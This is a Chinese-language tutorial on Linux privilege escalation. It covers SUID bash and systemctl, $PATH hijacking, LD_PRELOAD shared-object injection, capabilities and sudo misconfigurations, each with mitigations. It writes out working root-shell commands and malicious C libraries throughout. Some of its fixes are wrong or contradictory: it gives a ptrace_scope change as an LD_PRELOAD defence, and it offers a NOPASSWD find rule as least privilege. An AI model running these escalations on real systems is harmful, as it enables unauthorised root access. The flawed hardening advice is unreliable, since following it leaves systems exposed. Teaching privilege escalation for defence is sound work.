SUID提权
SUID 配置不当提权
原理: SUID(Set User ID)是一种特殊权限,允许普通用户以文件所有者的权限执行该文件。如果一个 SUID 程序没有经过严格的安全审计,或者可以执行 shell 命令,就可能被利用来提权。
示例: 假设 /usr/bin/bash
具有 SUID 位:
ls -l /usr/bin/bash
-rwsr-xr-x 1 root root 1183448 Mar 8 11:12 /usr/bin/bash
因为 SUID 设置了 s
,普通用户执行 bash
也会以 root 权限运行:
bash -p
whoami
# root
修复方法:
- 不给不必要的程序赋予 SUID 权限。
- 使用
find / -perm -4000 2>/dev/null
检查系统中的 SUID 程序。
SUID systemctl 提权
原理: 如果 systemctl
具有 SUID 位,则用户可以利用它来执行 root 权限的 systemd 服务,进而执行任意命令。
示例: 假设 systemctl
具有 SUID:
ls -l /bin/systemctl
-rwsr-xr-x 1 root root 1583448 Mar 8 11:12 /bin/systemctl
攻击者创建一个 systemd 服务:
echo -e "[Unit]\nDescription=Evil Service\n\n[Service]\nType=simple\nExecStart=/bin/bash\n\n[Install]\nWantedBy=multi-user.target" > /tmp/evil.service
然后加载并运行:
systemctl link /tmp/evil.service
systemctl enable evil.service
systemctl start evil.service
这将以 root 权限运行 bash
,从而获得 root shell。
修复方法:
- 移除
systemctl
的 SUID 位:chmod u-s /bin/systemctl - 限制普通用户对 systemd 服务的修改权限。
$PATH 变量劫持
原理: 当程序执行命令时,如果没有提供完整路径(如 ls
而不是 /bin/ls
),系统会按照 $PATH
变量的顺序查找可执行文件。如果管理员执行 sudo some_command
而 $PATH
中包含用户可写目录,攻击者可以在该目录下放置同名的恶意程序,诱导系统执行。
示例: 假设管理员误将用户可写目录 /tmp
放在 $PATH
的前面:
export PATH="/tmp:$PATH"
攻击者在 /tmp
目录创建一个假冒的 ls
:
echo -e '#!/bin/bash\n/bin/bash' > /tmp/ls
chmod +x /tmp/ls
当管理员执行 ls
时,实际上运行的是 /tmp/ls
,导致提权。
修复方法:
- 管理员应使用绝对路径执行命令,如
/bin/ls
而不是ls
。 - 确保
$PATH
变量中没有用户可写目录:echo $PATH
.so 共享对象库注入
原理: 动态链接库(.so
文件)在程序运行时被加载。如果程序使用 LD_PRELOAD
或 LD_LIBRARY_PATH
,攻击者可以利用这些环境变量加载恶意的 .so
文件来劫持程序执行。
示例: 攻击者创建一个恶意共享库:
#include <stdio.h>
#include <stdlib.h>
void _init() {
system("/bin/bash");
}
编译:
gcc -shared -o /tmp/evil.so -fPIC evil.c
设置 LD_PRELOAD
变量:
export LD_PRELOAD=/tmp/evil.so
如果目标程序是 SUID 程序(如 sudo
),执行时就会以 root 权限运行恶意代码。
修复方法:
- 禁用 SUID 程序继承
LD_PRELOAD
:echo 0 > /proc/sys/kernel/yama/ptrace_scope - 限制
/etc/ld.so.preload
的写权限:chmod 600 /etc/ld.so.preload
Capabilities 机制提权
原理: Linux capabilities 允许普通用户进程拥有 root 的部分特权。例如,cap_setuid
允许进程更改自身 UID,可能导致提权。
示例: 查找具有特殊 capabilities 的二进制文件:
getcap -r / 2>/dev/null
假设 /usr/bin/python3.8
具有 cap_setuid+ep
:
getcap /usr/bin/python3.8
/usr/bin/python3.8 = cap_setuid+ep
攻击者可利用它切换到 root:
python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
whoami
# root
修复方法:
- 移除不必要的 capabilities:sudo setcap -r /usr/bin/python3.8
- 限制普通用户对 capabilities 赋权的能力。
总结
提权方法 | 原理 | 例子 | 修复措施 |
---|---|---|---|
SUID 配置不当 | 以 root 权限运行不安全 SUID 程序 | SUID bash |
只给必要的程序赋 SUID |
SUID systemctl 提权 | 滥用 systemctl 启动 root 进程 |
创建恶意 systemd 服务 | 移除 systemctl SUID |
$PATH 变量劫持 |
让系统运行用户控制的程序 | 创建假 ls |
不在 $PATH 中放入用户可写目录 |
.so 共享对象注入 | 利用 LD_PRELOAD 劫持进程 |
编写恶意 .so |
禁用 SUID 程序的 LD_PRELOAD |
Capabilities 提权 | 滥用 Linux capabilities | cap_setuid+ep + Python |
移除多余的 capabilities |
SUDO提权
sudo权限分配不当
- 在
/etc/sudoers
或/etc/sudoers.d/
中,如果给了某些用户NOPASSWD
访问特定命令的权限,攻击者可能利用这些命令提权。 - 例如:
user1 ALL=(ALL) NOPASSWD: /bin/cat
攻击者可以用cat
读取敏感文件,如/etc/shadow
。
sudo脚本篡改
- 如果
sudo
允许执行某个脚本,而该脚本的路径是可写的,攻击者可以修改脚本内容来执行恶意命令。 - 例如:
sudo /usr/local/bin/myscript.sh
如果/usr/local/bin/myscript.sh
可被非特权用户编辑,攻击者可以插入:#!/bin/bash
执行
/bin/bash -psudo /usr/local/bin/myscript.sh
后可获得 root shell。
sudo脚本参数利用
- 允许使用
sudo
运行的某些脚本可能接受用户输入并直接执行命令,攻击者可以注入恶意命令。 - 例如,
sudo
允许运行:sudo /usr/bin/somescript.sh "$USER_INPUT"
如果somescript.sh
内部使用eval
处理输入:eval "$1"
那么攻击者可以输入:sudo /usr/bin/somescript.sh "; /bin/bash -p"
直接获取root
shell。
sudo绕过路径执行
sudo
可能允许执行某些命令,如:user1 ALL=(ALL) NOPASSWD: find
攻击者可以利用find
的-exec
选项:sudo find . -exec /bin/bash -p \;
直接提权。- 另外,如果
sudo
允许运行没有指定绝对路径的二进制文件:user1 ALL=(ALL) NOPASSWD: somecommand
攻击者可以在$HOME
目录创建同名的恶意可执行文件,并修改PATH
:echo -e '#!/bin/bash\n/bin/bash -p' > somecommand
chmod +x somecommand
export PATH=.:$PATH
sudo somecommand # 运行的就是攻击者伪造的 `somecommand`
sudo LD_PRELOAD环境
LD_PRELOAD
允许攻击者劫持共享库,从而执行恶意代码。- 某些情况下,
sudo
可能允许执行某些二进制文件,但未清除环境变量:sudo LD_PRELOAD=/path/to/malicious.so /usr/bin/somebinary
示例攻击: 创建一个恶意.so
文件:#include <stdio.h>
编译:
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
setuid(0);
setgid(0);
system("/bin/bash -p");
}gcc -shared -o malicious.so -fPIC malicious.c
执行:sudo LD_PRELOAD=./malicious.so /usr/bin/find可能会获取
root
shell。
sudo caching(时间窗口利用)
sudo
默认会缓存用户的身份验证信息一段时间(通常是 5 分钟)。- 如果攻击者在这个时间窗口内执行
sudo
,则不需要再次输入密码。 - 例如:
sudo ls
攻击者可以在这个时间窗口执行:
# 现在 sudo 会话已激活,在 5 分钟内不需要密码sudo /bin/bash -p
sudo令牌进程注入
sudo
认证后,会话令牌存储在/var/run/sudo/ts/
目录中。- 通过
ptrace
或/proc
注入攻击:ps aux | grep sudo
获取sudo
进程 ID 并使用gdb
注入:gdb -p <PID>
直接修改寄存器或执行恶意 shell 代码。
防御措施
- 最小权限原则
- 在
sudoers
中使用Cmnd_Alias
和ALL
以最小权限分配:user1 ALL=(ALL) NOPASSWD: /usr/bin/find
应避免NOPASSWD
,并尽量精确控制参数。
- 在
- 限制环境变量
- 在
sudoers
中使用:Defaults env_reset
以防止
Defaults !env_keep += LD_PRELOADLD_PRELOAD
攻击。
- 在
- 指定完整路径
- 避免使用
ALL
,而是严格限定路径:user1 ALL=(ALL) NOPASSWD: /usr/bin/find
避免find
、vim
这些能执行 shell 命令的程序。
- 避免使用
- 设置 sudo 会话超时
- 调整
sudoers
配置:Defaults timestamp_timeout=0
让sudo
每次都需要输入密码。
- 调整
- 监控
/var/run/sudo/ts/
- 定期清理
sudo
令牌:sudo -k
防止攻击者利用sudo
缓存。
- 定期清理
- 启用
auditd
监控 sudo 活动- 通过
auditd
记录sudo
操作:auditctl -w /etc/sudoers -p wa -k sudo_changes
监控sudoers
配置变更。
- 通过
总结
sudo
的安全性依赖于配置和环境管理,必须正确配置sudoers
,避免NOPASSWD
滥用。- 严格限制
sudo
能执行的二进制文件,防止路径劫持和LD_PRELOAD
逃逸。 - 使用
auditd
监控sudo
操作,及时发现异常行为。